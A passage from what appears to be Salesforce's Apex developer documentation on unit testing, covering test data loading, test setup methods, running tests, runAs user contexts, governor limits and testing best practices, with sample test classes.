        User u = [SELECT UserName,Email FROM User LIMIT 1];
        System.debug('UserName: ' + u.UserName);
        System.debug('Email: ' + u.Email);

        // Can access the test account that is created here.
        Account a = new Account(Name='Test Account');
        insert a;
    }
}

```

```
// Access the account that was just created.
Account insertedAcct = [SELECT Id,Name FROM Account
                        WHERE Name='Test Account'];
System.assert(insertedAcct != null);
}
}
```

Considerations for the `@IsTest(SeeAllData=true)` Annotation

- If a test class is defined with the `@IsTest(SeeAllData=true)` annotation, the `SeeAllData=true` applies to all test methods that don't explicitly set the `SeeAllData` keyword.
- The `@IsTest(SeeAllData=true)` annotation is used to open up data access when applied at the class or method level. However, if the containing class has been annotated with `@IsTest(SeeAllData=true)`, annotating a method with `@IsTest(SeeAllData=false)` is ignored for that method. In this case, that method still has access to all the data in the organization. Annotating a method with `@IsTest(SeeAllData=true)` overrides, for that method, an `@IsTest(SeeAllData=false)` annotation on the class.
- `@IsTest(SeeAllData=true)` and `@IsTest(IsParallel=true)` annotations can't be used together on the same Apex method.

Loading Test Data

Using the `Test.loadData` method, you can populate data in your test methods without having to write many lines of code.

Follow these steps:

1. Add the data in a .csv file.
2. Create a static resource for this file.
3. Call `Test.loadData` within your test method and passing it the sObject type token and the static resource name.

For example, for Account records and a static resource name of `myResource`, make the following call:

```
List<sObject> ls = Test.loadData(Account.sObjectType, 'myResource');
```

The `Test.loadData` method returns a list of sObjects that correspond to each record inserted.

You must create the static resource prior to calling this method. The static resource is a comma-delimited file ending with a .csv extension. The file contains field names and values for the test records. The first line of the file must contain the field names and subsequent lines are the field values. To learn more about static resources, see “Defining Static Resources” in the Salesforce online help.

Once you create a static resource for your .csv file, the static resource will be assigned a MIME type. Supported MIME types are:

- text/csv
- application/vnd.ms-excel
- application/octet-stream
- text/plain

Test.loadData Example

The following are steps for creating a sample .csv file and a static resource, and calling `Test.loadData` to insert the test records.

1. Create a .csv file that has the data for the test records. This sample .csv file has three account records. You can use this sample content to create your .csv file.

```
Name,Website,Phone,BillingStreet,BillingCity,BillingState,BillingPostalCode,BillingCountry
sForceTest1,http://www.sforcetest1.com,(415) 901-7000,The Landmark @ One Market,San
```

```

Francisco,CA,94105,US
sForceTest2,http://www.sforcetest2.com,(415) 901-7000,The Landmark @ One Market Suite
300,San Francisco,CA,94105,US
sForceTest3,http://www.sforcetest3.com,(415) 901-7000,1 Market St,San
Francisco,CA,94105,US

```

2. Create a static resource for the .csv file:
 - a. From Setup, enter *Static Resources* in the Quick Find box, then select **Static Resources**.
 - b. Click **New**.
 - c. Name your static resource *testAccounts*.
 - d. Choose the file you created.
 - e. Click **Save**.
3. Call `Test.loadData` in a test method to populate the test accounts.

```

@IsTest
private class DataUtil {
    static testmethod void testLoadData() {
        // Load the test accounts from the static resource
        List<SObject> ls = Test.loadData(Account.sObjectType, 'testAccounts');
        // Verify that all 3 test accounts were created
        System.assert(ls.size() == 3);

        // Get first test account
        Account a1 = (Account)ls[0];
        String acctName = a1.Name;
        System.debug(acctName);

        // Perform some testing using the test records
    }
}

```

Common Test Utility Classes for Test Data Creation

Common test utility classes are public test classes that contain reusable code for test data creation.

Public test utility classes are defined with the `IsTest` annotation, and as such, are excluded from the organization code size limit and execute in test context. They can be called by test methods but not by non-test code.

The methods in the public test utility class are defined the same way methods are in non-test classes. They can take parameters and can return a value. The methods must be declared as public or global to be visible to other test classes. These common methods can be called by any test method in your Apex classes to set up test data before running the test. While you can create public methods for test data creation in a regular Apex class, without the `IsTest` annotation, you don't get the benefit of excluding this code from the organization code size limit.

This is an example of a test utility class. It contains one method, `createTestRecords`, which accepts the number of accounts to create and the number of contacts per account. The next example shows a test method that calls this method to create some data.

```

@IsTest
public class TestDataFactory {
    public static void createTestRecords(Integer numAccts, Integer numContactsPerAcct) {
        List<Account> accts = new List<Account>();
    }
}

```

```

    for(Integer i=0;i<numAccts;i++) {
        Account a = new Account(Name='TestAccount' + i);
        accts.add(a);
    }
    insert accts;

    List<Contact> cons = new List<Contact>();
    for (Integer j=0;j<numAccts;j++) {
        Account acct = accts[j];
        // For each account just inserted, add contacts
        for (Integer k=numContactsPerAcct*j;k<numContactsPerAcct*(j+1);k++) {
            cons.add(new Contact(firstname='Test'+k,
                                lastname='Test'+k,
                                AccountId=acct.Id));
        }
    }
    // Insert all contacts for all accounts
    insert cons;
}

```

The test method in this class calls the test utility method, `createTestRecords`, to create five test accounts with three contacts each.

```

@IsTest
private class MyTestClass {
    static testmethod void test1() {
        TestDataFactory.createTestRecords(5,3);
        // Run some tests
    }
}

```

Using Test Setup Methods

Use test setup methods (methods that are annotated with `@testSetup`) to create test records once and then access them in every test method in the test class. Test setup methods can be time-saving when you need to create reference or prerequisite data for all test methods, or a common set of records that all test methods operate on.

Test setup methods can reduce test execution times especially when you're working with many records. Test setup methods enable you to create common test data easily and efficiently. By setting up records once for the class, you don't need to re-create records for each test method. Also, because the rollback of records that are created during test setup happens at the end of the execution of the entire class, the number of records that are rolled back is reduced. As a result, system resources are used more efficiently compared to creating those records and having them rolled back for each test method.

If a test class contains a test setup method, the testing framework executes the test setup method first, before any test method in the class. Records that are created in a test setup method are available to all test methods in the test class and are rolled back at the end of test class execution. If a test method changes those records, such as record field updates or record deletions, those changes are rolled back after each test method finishes execution. The next executing test method gets access to the original unmodified state of those records.

Similarly, if you create a static variable in a test setup method, and then modify that variable in a test method, the change doesn't persist to other test methods. Every test method, including the test setup method, runs as a separate transaction. The static context of the test class is reinitialized before each transaction begins. Therefore, static variable initializers and static blocks are executed fresh at the start

of every test method. Any change to a static variable within a test setup method is confined to that specific transaction. After the transaction completes, those in-memory changes are discarded.

Syntax

Test setup methods are defined in a test class, take no arguments, and return no value. The following is the syntax of a test setup method.

```
@testSetup static void methodName() {  
  
}
```

Example

This example shows how to create test records once and then access them in multiple test methods. Also, the example shows how changes that are made in the first test method are rolled back and are not available to the second test method.

```
@isTest  
private class CommonTestSetup {  
  
    @testSetup static void setup() {  
        // Create common test accounts  
        List<Account> testAccts = new List<Account>();  
        for(Integer i=0;i<2;i++) {  
            testAccts.add(new Account(Name = 'TestAcct'+i));  
        }  
        insert testAccts;  
    }  
  
    @isTest static void testMethod1() {  
        // Get the first test account by using a SOQL query  
        Account acct = [SELECT Id FROM Account WHERE Name='TestAcct0' LIMIT 1];  
        // Modify first account  
        acct.Phone = '555-1212';  
        // This update is local to this test method only.  
        update acct;  
  
        // Delete second account  
        Account acct2 = [SELECT Id FROM Account WHERE Name='TestAcct1' LIMIT 1];  
        // This deletion is local to this test method only.  
        delete acct2;  
  
        // Perform some testing  
    }  
  
    @isTest static void testMethod2() {  
        // The changes made by testMethod1() are rolled back and  
        // are not visible to this test method.  
        // Get the first account by using a SOQL query  
        Account acct = [SELECT Phone FROM Account WHERE Name='TestAcct0' LIMIT 1];  
        // Verify that test account created by test setup method is unaltered.  
        System.assertEquals(null, acct.Phone);  
  
        // Get the second account by using a SOQL query  
        Account acct2 = [SELECT Id FROM Account WHERE Name='TestAcct1' LIMIT 1];
```



```
// Verify test account created by test setup method is unaltered.  
System.assertNotEquals(null, acct2);  
  
// Perform some testing  
}  
  
}
```

Test Setup Method Considerations

- Test setup methods are supported only with the default data isolation mode for a test class. If the test class or a test method has access to organization data by using the `@isTest(SeeAllData=true)` annotation, test setup methods aren't supported in this class. Because data isolation for tests is available for API versions 24.0 and later, test setup methods are also available for those versions only.
- You can have only one test setup method per test class.
- If a fatal error occurs during the execution of a test setup method, such as an exception that's caused by a DML operation or an assertion failure, the entire test class fails, and no further tests in the class are executed.
- If a test setup method calls a non-test method of another class, no code coverage is calculated for the non-test method.

Run Unit Test Methods

To verify the functionality of your Apex code, execute unit tests. You can run Apex test methods in the Developer Console, in Setup, in the Salesforce extensions for Visual Studio Code, or using the API.

You can run these groupings of unit tests.

- Some or all methods in a specific class
- Some or all methods in a set of classes
- A predefined suite of classes, known as a test suite
- All unit tests in your org

To run a test, use any of the following:

- [Salesforce user interface](#)
- [Salesforce extensions for Visual Studio Code and Code Builder](#)
- [Developer Console](#)
- [The API](#)

All Apex tests that are started from the Salesforce user interface (including the Developer Console) run asynchronously and in parallel. Apex test classes are placed in the Apex job queue for execution. The maximum number of test classes that you can run per 24-hour period is the greater of 500 or 10 multiplied by the number of test classes in the org. For sandbox and Developer Edition organizations, this limit is higher and is the greater of 500 or 20 multiplied by the number of test classes in the org.



Note: Apex tests that run as part of a deployment always run synchronously and serially.

Running Tests Through the Salesforce User Interface

You can run unit tests on the Application Test Execution page. Tests started on this page run asynchronously, that is, you don't have to wait for a test class execution to finish. The Application Test Execution page refreshes the status of a test and displays the results after the test completes.

Application Test Execution

To run one or more Apex or flow unit tests, click **Select Tests**. To view the current Apex code coverage for an individual class or your organization, go to the [Apex Classes](#) page.

Select Tests... **Developer Console** **Options...** **View Test History**

Detail	Duration	Class	Method	Pass/Fail	Error Message	Stack Trace
[View]	0:00	AccountHandlerTest	testCreateAccount_EmptyName	Pass		
[View]	0:00	AccountHandlerTest	testCreateAccount_NullName	Pass		
[View]	0:00	AccountHandlerTest	testCreateAccount_Success	Pass		
[View]	0:00	AccountHandlerTest	testCreateAccount_Fail	Fail	System.AssertException: Class.AccountHandlerTest.testCreateAccount_Fail: line 42, column 1	

1. From Setup, enter *Application Test Execution* in the **Quick Find** box, then select **Application Test Execution**.

2. Click **Select Tests...**



Note: If you have Apex classes that are installed from a managed package, you must compile these classes first by clicking **Compile all classes** on the **Apex Classes** page so that they appear in the list.

3. Select the tests to run. The list of tests includes only classes that contain test methods.

- To select tests from an installed managed package, select the managed package's corresponding namespace from the dropdown list. Only the classes of the managed package with the selected namespace appear in the list.
- To select tests that exist locally in your organization, select **[My Namespace]** from the dropdown list. Only local classes that aren't from managed packages appear in the list.
- To select any test, select **[All Namespaces]** from the dropdown list. All the classes in the organization appear, even those in a managed package.



Note: Classes with tests currently running don't appear in the list.

4. To opt out of collecting code coverage information during test runs, select **Skip Code Coverage**.

5. Click **Run**.

After you run tests using the Application Test Execution page, you can view code coverage details in the Developer Console.

From Setup, enter *Application* in the **Quick Find** box, select **Application Test Execution**, then click **View Test History** to view all test results for your organization, not just tests that you have run. Test results are retained for 30 days after they finish running, unless cleared.

Running Tests Using the Salesforce Extensions for Visual Studio Code

You can execute tests with Visual Studio Code. See [Salesforce Extensions for Visual Studio Code and Code Builder](#).

Running Tests Using the Developer Console

In the Developer Console, you can execute some or all tests in specific test classes, set up and run test suites, or run all tests. The Developer Console runs tests asynchronously in the background, unless your test run includes only one class and you've not chosen **Always Run Asynchronously** in the Test menu. Running tests asynchronously lets you work in other areas of the Developer Console while tests are

running. After the tests execute, you can inspect the test results in the Developer Console. Also, you can inspect the overall code coverage for classes covered by the tests.

For more information, see the Developer Console documentation in Salesforce Help.

Running Tests Using the API

You can use the `runTests()` call from SOAP API to run tests synchronously.

```
RunTestsResult[] runTests(RunTestsRequest ri)
```

This call allows you to run the following, as specified in the `RunTestsRequest` object:

- All tests in all classes
- All tests in a specific namespace
- All tests in a subset of classes in a specific namespace

It returns the following:

- Total number of tests that ran
- Code coverage statistics
- Error information for each failed test
- Information for each test that succeeds
- Time it took to run the test

For more information on `runTests()`, see [runTests\(\)](#) in the *SOAP API Developer Guide*.

You can also run tests using the Tooling REST API. Use the `/runTestsAsynchronous/` and `/runTestsSynchronous/` endpoints to run tests asynchronously or synchronously. For usage details, see [Tooling API: REST Resources](#).

Running Tests Using `ApexTestQueueItem`

You can run tests asynchronously using `ApexTestQueueItem` and `ApexTestResult`. These objects let you add tests to the Apex job queue and check the results of the completed test runs. This process enables you to not only start tests asynchronously but also schedule your tests to execute at specific times by using the Apex scheduler. See [Apex Scheduler](#) for more information.

Insert an `ApexTestQueueItem` object to place its corresponding Apex class in the Apex job queue for execution. The Apex job executes the test methods in the class. After the job executes, `ApexTestResult` contains the result for each single test method executed as part of the test.

`ApexTestResult` rows are also generated for Apex tests run with the `@testSetup` annotation. The `IsTestSetup` field is set to `true` for these annotated tests to distinguish them from other test methods. The `TestSetupTime` field on `ApexTestRunResult` tracks the cumulative time of all setup methods for the given `ApexTestRunResult`.

To abort a class that is in the Apex job queue, perform an update operation on the `ApexTestQueueItem` object and set its `Status` field to `Aborted`.

If you insert multiple Apex test queue items in a single bulk operation, the queue items share a parent job and a test run can execute tests for several classes.

The maximum number of test queue items, and hence classes, that you can insert in the Apex job queue is the greater of 500 or 10 multiplied by the number of test classes in the org. For sandbox and Developer Edition organizations, this limit is higher and is the greater of 500 or 20 multiplied by the number of test classes in the org.

You may observe slower async test execution time when compilation is required, for example when tests are run after altering an Apex class. This is because parallel test execution is restricted to one job until compilation is completed. If you have Apex code in your org that

is referenced by queued tests and fails to compile, you will be limited to the one concurrent job. You must ensure that Apex code in your org compiles successfully.

This example uses DML operations to insert and query the `ApexTestQueueItem` and `ApexTestResult` objects. The `enqueueTests` method inserts queue items for all classes that end with `Test`. It then returns the parent job ID of one queue item, which is the same for all queue items because they were inserted in bulk. The `checkClassStatus` method retrieves all queue items that correspond to the specified job ID. It then queries and outputs the name, job status, and pass rate for each class. The `checkMethodStatus` method gets information of each test method that was executed as part of the job.

```
public class TestUtil {

    // Enqueue all classes ending in "Test".
    public static ID enqueueTests() {
        ApexClass[] testClasses =
            [SELECT Id FROM ApexClass
             WHERE Name LIKE '%Test'];
        if (testClasses.size() > 0) {
            ApexTestQueueItem[] queueItems = new List<ApexTestQueueItem>();
            for (ApexClass cls : testClasses) {
                queueItems.add(new ApexTestQueueItem(ApexClassId=cls.Id));
            }

            insert queueItems;

            // Get the job ID of the first queue item returned.
            ApexTestQueueItem item =
                [SELECT ParentJobId FROM ApexTestQueueItem
                 WHERE Id=:queueItems[0].Id LIMIT 1];
            return item.parentjobid;
        }
        return null;
    }

    // Get the status and pass rate for each class
    // whose tests were run by the job.
    // that correspond to the specified job ID.
    public static void checkClassStatus(ID jobId) {
        ApexTestQueueItem[] items =
            [SELECT ApexClass.Name, Status, ExtendedStatus
             FROM ApexTestQueueItem
             WHERE ParentJobId=:jobId];
        for (ApexTestQueueItem item : items) {
            String extStatus = item.extendedstatus == null ? '' : item.extendedstatus;
            System.debug(item.ApexClass.Name + ': ' + item.Status + extStatus);
        }
    }

    // Get the result for each test method that was executed.
    public static void checkMethodStatus(ID jobId) {
        ApexTestResult[] results =
            [SELECT Outcome, ApexClass.Name, MethodName, Message, StackTrace
             FROM ApexTestResult
             WHERE AsyncApexJobId=:jobId];
        for (ApexTestResult atr : results) {
            System.debug(atr.ApexClass.Name + '.' + atr.MethodName + ': ' + atr.Outcome);
        }
    }
}
```

```

        if (atr.message != null) {
            System.debug(atr.Message + '\n at ' + atr.StackTrace);
        }
    }
}

```

1. [Using the runAs Method](#)

Generally, all Apex code runs in user mode, where the object-level and field-level permissions of the current user are enforced. With the System method `runAs`, you can write test methods that change the user context to an existing user or a new user. Then that user's sharing rules and object-level and field-level permissions are enforced.

2. [Using Limits, startTest, and stopTest](#)

3. [Adding SOSL Queries to Unit Tests](#)

SEE ALSO:

[Testing and Code Coverage](#)

[Salesforce Help: Open the Developer Console](#)

Using the runAs Method

Generally, all Apex code runs in user mode, where the object-level and field-level permissions of the current user are enforced. With the System method `runAs`, you can write test methods that change the user context to an existing user or a new user. Then that user's sharing rules and object-level and field-level permissions are enforced.



Note: The user's sharing rules and object-level and field-level permissions are enforced within a `runAs` block, regardless of the sharing mode (with `sharing` or without `sharing`) of the test class.

If a user-defined method is called in the `runAs` block, the sharing mode enforced is that of the class where the method is defined, not the test class.

You can use `runAs` only in test methods. The original current user context is started again after all `runAs` test methods complete.

The `runAs` method ignores user license limits. You can create users with `runAs` even if your organization has no additional user licenses.



Note: Every call to `runAs` counts against the total number of DML statements issued in the process.

In the following example, a new test user is created, then code is run as that user, with that user's record sharing access:

```

@isTest
private class TestRunAs {
    public static testMethod void testRunAs() {
        // Setup test data
        // Create a unique UserName
        String uniqueUserName = 'standarduser' + DateTime.now().getTime() + '@testorg.com';

        // This code runs as the system user
        Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
        User u = new User(Alias = 'standt', Email='standarduser@testorg.com',
            EmailEncodingKey='UTF-8', LastName='Testing', LanguageLocaleKey='en_US',

```

```

        LocaleSidKey='en_US', ProfileId = p.Id,
        TimeZoneSidKey='America/Los_Angeles',
        UserName=uniqueUserName);

    System.runAs(u) {
        // The following code runs as user 'u'
        System.debug('Current User: ' + UserInfo.getUserName());
        System.debug('Current Profile: ' + UserInfo.getProfileId());
    }
}

```

You can nest more than one `runAs` method. For example:

```

@isTest
private class TestRunAs2 {

    public static testMethod void test2() {

        Profile p = [SELECT Id FROM Profile WHERE Name='Standard User'];
        User u2 = new User(Alias = 'newUser', Email='newuser@testorg.com',
            EmailEncodingKey='UTF-8', LastName='Testing', LanguageLocaleKey='en_US',
            LocaleSidKey='en_US', ProfileId = p.Id,
            TimeZoneSidKey='America/Los_Angeles', UserName='newuser@testorg.com');

        System.runAs(u2) {
            // The following code runs as user u2.
            System.debug('Current User: ' + UserInfo.getUserName());
            System.debug('Current Profile: ' + UserInfo.getProfileId());

            // The following code runs as user u3.
            User u3 = [SELECT Id FROM User WHERE UserName='newuser@testorg.com'];
            System.runAs(u3) {
                System.debug('Current User: ' + UserInfo.getUserName());
                System.debug('Current Profile: ' + UserInfo.getProfileId());
            }

            // Any additional code here would run as user u2.
        }
    }
}

```

Other Uses of `runAs`

You can also use the `runAs` method to perform mixed DML operations in your test by enclosing the DML operations within the `runAs` block. In this way, you bypass the mixed DML error that is otherwise returned when inserting or updating setup objects together with other sObjects. See [sObjects That Cannot Be Used Together in DML Operations](#).

There's another overload of the `runAs` method (`runAs(System.Version)`) that takes a package version as an argument. This method causes the code of a specific version of a managed package to be used. For information on using the `runAs` method and specifying a package version context, see [Testing Behavior in Package Versions](#) on page 770.

SEE ALSO:

[Enforce Sharing Rules](#)

[Enforce Object and Field Permissions](#)

[Apex Reference Guide: System.runAs\(userSObject\)](#)

Using Limits, `startTest`, and `stopTest`

The Limits methods return the specific limit for the particular governor, such as the number of calls of a method or the amount of heap size remaining.

Each method has two versions. The first version returns the amount of the resource that has been used in the current context. The second version contains the word "limit" and returns the total amount of the resource that is available for that context. For example, `getCallouts` returns the number of callouts to an external service that have already been processed in the current context, while `getLimitCallouts` returns the total number of callouts available in the given context.

In addition to the Limits methods, use the `startTest` and `stopTest` methods to validate how close the code is to reaching governor limits.

The `startTest` method marks the point in your test code when your test actually begins. Each test method is allowed to call this method only once. All of the code before this method should be used to initialize variables, populate data structures, and so on, allowing you to set up everything you need to run your test. Any code that executes after the call to `startTest` and before `stopTest` is assigned a new set of governor limits.

The `startTest` method does not refresh the context of the test: it adds a context to your test. For example, if your class makes 98 SOQL queries before it calls `startTest`, and the first significant statement after `startTest` is a DML statement, the program can now make an additional 100 queries. Once `stopTest` is called, however, the program goes back into the original context, and can only make 2 additional SOQL queries before reaching the limit of 100.

The `stopTest` method marks the point in your test code when your test ends. Use this method in conjunction with the `startTest` method. Each test method is allowed to call this method only once. Any code that executes after the `stopTest` method is assigned the original limits that were in effect before `startTest` was called. All asynchronous calls made after the `startTest` method are collected by the system. When `stopTest` is executed, all asynchronous processes are run synchronously. An exception encountered during `stopTest` halts the synchronous processing. For example, an unhandled exception in a batch job's `execute` method will prevent the `finish` method from running in a test context.

SEE ALSO:

[Test Apex Triggers](#)

Adding SOSL Queries to Unit Tests

To ensure that test methods always behave in a predictable way, any Salesforce Object Search Language (SOSL) query that is added to an Apex test method returns an empty set of search results when the test method executes. If you do not want the query to return an empty list of results, you can use the `Test.setFixedSearchResults` system method to define a list of record IDs that are returned by the search. All SOSL queries that take place later in the test method return the list of record IDs that were specified by the `Test.setFixedSearchResults` method. Additionally, the test method can call `Test.setFixedSearchResults` multiple times to define different result sets for different SOSL queries. If you do not call the `Test.setFixedSearchResults`

method in a test method, or if you call this method without specifying a list of record IDs, any SOSL queries that take place later in the test method return an empty list of results.

The list of record IDs specified by the `Test.setFixedSearchResults` method replaces the results that would normally be returned by the SOSL query if it were not subject to any `WHERE` or `LIMIT` clauses. If these clauses exist in the SOSL query, they are applied to the list of fixed search results. For example:

```
@isTest
private class SoslFixedResultsTest1 {

    public static testMethod void testSoslFixedResults() {
        Id [] fixedSearchResults= new Id[1];
        fixedSearchResults[0] = '001x0000003G89h';
        Test.setFixedSearchResults(fixedSearchResults);
        List<List<SObject>> searchList = [FIND 'test'
                                         IN ALL FIELDS RETURNING
                                         Account(id, name WHERE name = 'test' LIMIT
1)];
    }
}
```

 **Note:** SOSL queries for `ContentDocument` (File) or `ContentNote` (Note) entities require using `setFixedSearchResults` with `ContentVersion` IDs to remain consistent with how Salesforce indexes and searches for files and notes.

Although the account record with an ID of `001x0000003G89h` may not match the query string in the `FIND` clause (`'test'`), the record is passed into the `RETURNING` clause of the SOSL statement. If the record with ID `001x0000003G89h` matches the `WHERE` clause filter, the record is returned. If it does not match the `WHERE` clause, no record is returned.

Testing Best Practices

Good tests do the following:

- Cover as many lines of code as possible. Before you can deploy Apex or package it for AppExchange, the following must be true.

Important:

- Unit tests must cover at least 75% of your Apex code, and all of those tests must complete successfully.
Note the following.
 - When deploying Apex to a production organization, each unit test in your organization namespace is executed by default.
 - Calls to `System.debug` aren't counted as part of Apex code coverage.
 - Test methods and test classes aren't counted as part of Apex code coverage.
 - While only 75% of your Apex code must be covered by tests, don't focus on the percentage of code that is covered. Instead, make sure that every use case of your application is covered, including positive and negative cases, as well as bulk and single records. This approach ensures that 75% or more of your code is covered by unit tests.
 - Tests don't run in parallel in metadata deployments, package installations, or change set deployments.
 - Every trigger must have some test coverage.
 - All classes and triggers must compile successfully.
- If code uses conditional logic (including ternary operators), execute each branch.

- Make calls to methods using both valid and invalid inputs.
- Complete successfully without throwing any exceptions, unless those errors are expected and caught in a `try...catch` block.
- Always handle all exceptions that are caught, instead of merely catching the exceptions.
- Use the methods of the `Assert` class to prove that the code behaves properly.
- Use the `runAs` method to test your application in different user contexts.
- Exercise bulk trigger functionality—use at least 20 records in your tests.
- Use the `ORDER BY` keywords to ensure that the records are returned in the expected order.
- Not assume that record IDs are in sequential order.

Record IDs aren't created in ascending order unless you insert multiple records with the same request. For example, if you create an account A, and receive the ID `001D000000IEEmT`, then create account B, the ID of account B need not be sequentially higher.

- Set up test data:
 - Create the necessary data in test classes, so the tests don't have to rely on data in a particular organization.
 - Create all test data before calling the `Test.startTest` method.
 - Since tests don't commit, you don't have to delete any data.
- Write comments stating not only what must be tested, but the assumptions the tester made about the data, the expected outcome, and so on.
- Test the classes in your application individually. Never test your entire application in a single test.

 **Note:** To protect the privacy of your data, make sure that test error messages and exception details don't contain any personal data. The Apex exception handler and testing framework can't determine if sensitive data is contained in user-defined messages and details. To include personal data in custom Apex exceptions, we recommend that you create an Exception subclass with new properties that holds the personal data. Then, don't include subclass property information in the exception's message string.

If you're running many tests, test the classes in your organization individually in the Salesforce user interface instead of using the **Run All Tests** button to run them all together.

Best Practices for Parallel Test Execution

Tests that are started from the Salesforce user interface (including the Developer Console) run in parallel. Parallel test execution can speed up test run time. Sometimes, parallel test execution results in data contention issues, and you can turn off parallel execution in those cases. In particular, data contention issues and `UNABLE_TO_LOCK_ROW` errors can occur in the following cases:

- When tests update the same records at the same time. Updating the same records typically occurs when tests don't create their own data and turn off data isolation to access the organization's data.
- When a deadlock occurs in tests that are running in parallel and that try to create records with duplicate index field values. A deadlock occurs when two running tests are waiting for each other to roll back data. Such a wait can happen if two tests insert records with the same unique index field values.

You can prevent receiving those errors by turning off parallel test execution in the Salesforce user interface:

1. From Setup, enter *Apex Test*.
2. Click **Options...**
3. In the Apex Test Execution Options dialog, select **Disable Parallel Apex Testing** and then click **OK**.

Test classes annotated with `IsTest (IsParallel=true)` indicate that the test class can run concurrently with more than the default number of concurrent test classes. This annotation overrides default settings.

SEE ALSO:

[Code Coverage Best Practices](#)

Testing Example

The following example includes cases for the following types of tests:

- [Positive case with single and multiple records](#)
- [Negative case with single and multiple records](#)
- [Testing with other users](#)

The test is used with a simple mileage tracking application. The existing code for the application verifies that not more than 500 miles are entered in a single day. The primary object is a custom object named `Mileage__c`. The test creates one record with 300 miles and verifies there are only 300 miles recorded. Then a loop creates 200 records with one mile each. Finally, it verifies there are 500 miles recorded in total (the original 300 plus the new ones). Here's the entire test class. The following sections step through specific portions of the code.

```
@isTest
private class MileageTrackerTestSuite {

    static testMethod void runPositiveTestCases() {

        Double totalMiles = 0;
        final Double maxtotalMiles = 500;
        final Double singletotalMiles = 300;
        final Double u2Miles = 100;

        //Set up user
        User u1 = [SELECT Id FROM User WHERE Alias='auser'];

        //Run As U1
        System.RunAs(u1){

            System.debug('Inserting 300 miles... (single record validation)');

            Mileage__c testMiles1 = new Mileage__c(Miles__c = 300, Date__c = System.today());

            insert testMiles1;

            //Validate single insert
            for(Mileage__c m:[SELECT miles__c FROM Mileage__c
                WHERE CreatedDate = TODAY
                and CreatedById = :u1.id
                and miles__c != null]) {
                totalMiles += m.miles__c;
            }

            Assert.areEqual(singletotalMiles, totalMiles);
```

```

//Bulk validation
totalMiles = 0;
System.debug('Inserting 200 mileage records... (bulk validation)');

List<Mileage__c> testMiles2 = new List<Mileage__c>();
for(integer i=0; i<200; i++) {
    testMiles2.add( new Mileage__c(Miles__c = 1, Date__c = System.today()) );
}
insert testMiles2;

for(Mileage__c m:[SELECT miles__c FROM Mileage__c
WHERE CreatedDate = TODAY
and CreatedById = :u1.Id
and miles__c != null]) {
    totalMiles += m.miles__c;
}

Assert.areEqual(maxtotalMiles, totalMiles);

} //end RunAs(u1)

//Validate additional user:
totalMiles = 0;
//Setup RunAs
User u2 = [SELECT Id FROM User WHERE Alias='tuser'];
System.RunAs(u2) {

Mileage__c testMiles3 = new Mileage__c(Miles__c = 100, Date__c = System.today());

insert testMiles3;

    for(Mileage__c m:[SELECT miles__c FROM Mileage__c
WHERE CreatedDate = TODAY
and CreatedById = :u2.Id
and miles__c != null]) {
        totalMiles += m.miles__c;
    }
//Validate
Assert.areEqual(u2Miles, totalMiles);

} //System.RunAs(u2)

} // runPositiveTestCases()

static testMethod void runNegativeTestCases() {

User u3 = [SELECT Id FROM User WHERE Alias='tuser'];
System.RunAs(u3) {

    System.debug('Inserting a record with 501 miles... (negative test case)');

```

```

        Mileage__c testMiles3 = new Mileage__c( Miles__c = 501, Date__c = System.today()
    );

    try {
        insert testMiles3;
        Assert.fail('DmlException expected');
    } catch (DmlException e) {
        //Assert Status Code
        Assert.areEqual('FIELD_CUSTOM_VALIDATION_EXCEPTION', e.getDmlStatusCode(0));

        //Assert field
        Assert.areEqual(Mileage__c.Miles__c, e.getDmlFields(0)[0]);

        //Assert Error Message
        Assert.isTrue(e.getMessage().contains(
            'Mileage request exceeds daily limit(500): [Miles__c]'),
            'DMLException did not contain expected validation message:' + e.getMessage()
        );

        } //catch
    } //RunAs(u3)
} // runNegativeTestCases()

} // class MileageTrackerTestSuite

```

Positive Test Case

The following steps through the above code, in particular, the positive test case for single and multiple records.

1. Add text to the debug log, indicating the next step of the code:

```
System.debug('Inserting 300 more miles...single record validation');
```

2. Create a Mileage__c object and insert it into the database.

```
Mileage__c testMiles1 = new Mileage__c(Miles__c = 300, Date__c = System.today() );
insert testMiles1;
```

3. Validate the code by returning the inserted records:

```
for(Mileage__c m:[SELECT miles__c FROM Mileage__c
WHERE CreatedDate = TODAY
and CreatedById = :createdById
and miles__c != null]) {
    totalMiles += m.miles__c;
}
```

4. Use the Assert.areEqual method to verify that the expected result is returned:

```
Assert.areEqual(singletotalMiles, totalMiles);
```

- Before moving to the next test, set the number of total miles back to 0:

```
totalMiles = 0;
```

- Validate the code by creating a bulk insert of 200 records.

First, add text to the debug log, indicating the next step of the code:

```
System.debug('Inserting 200 Mileage records...bulk validation');
```

- Then insert 200 Mileage__c records:

```
List<Mileage__c> testMiles2 = new List<Mileage__c>();
for(Integer i=0; i<200; i++){
    testMiles2.add( new Mileage__c(Miles__c = 1, Date__c = System.today()) );
}
insert testMiles2;
```

- Use `Assert.areEqual` to verify that the expected result is returned:

```
for(Mileage__c m:[SELECT miles__c FROM Mileage__c
WHERE CreatedDate = TODAY
and CreatedById = :CreatedById
and miles__c != null]) {
    totalMiles += m.miles__c;
}
Assert.areEqual(maxtotalMiles, totalMiles);
```

Negative Test Case

The following steps through the above code, in particular, the negative test case.

- Create a static test method called `runNegativeTestCases`:

```
static testMethod void runNegativeTestCases(){
```

- Add text to the debug log, indicating the next step of the code:

```
System.debug('Inserting 501 miles... negative test case');
```

- Create a Mileage__c record with 501 miles.

```
Mileage__c testMiles3 = new Mileage__c(Miles__c = 501, Date__c = System.today());
```

- Place the `insert` statement within a `try/catch` block. This allows you to catch the validation exception and assert the generated error message. Use the `Assert.fail` method to clearly assert that you expect the validation exception.

```
try {
    insert testMiles3;
    Assert.fail('DmlException expected');
} catch (DmlException e) {
```

- Now use the `Assert.areEqual` and `Assert.isTrue` methods to do the testing. Add the following code to the `catch` block you previously created:

```
//Assert Status Code
Assert.areEqual('FIELD_CUSTOM_VALIDATION_EXCEPTION', e.getDmlStatusCode());

//Assert field
Assert.areEqual(Mileage__c.Miles__c, e.getDmlFields(0)[0]);

//Assert Error Message
Assert.isTrue(e.getMessage().contains(
    'Mileage request exceeds daily limit(500): [Miles__c]'),
    'DMLException did not contain expected validation message:' + e.getMessage() );
```

Testing as a Second User

The following steps through the above code, in particular, running as a second user.

- Before moving to the next test, set the number of total miles back to 0:

```
totalMiles = 0;
```

- Set up the next user.

```
User u2 = [SELECT Id FROM User WHERE Alias='tuser'];
System.RunAs(u2) {
```

- Add text to the debug log, indicating the next step of the code:

```
System.debug('Setting up testing - deleting any mileage records for ' +
    UserInfo.getUserName() +
    ' from today');
```

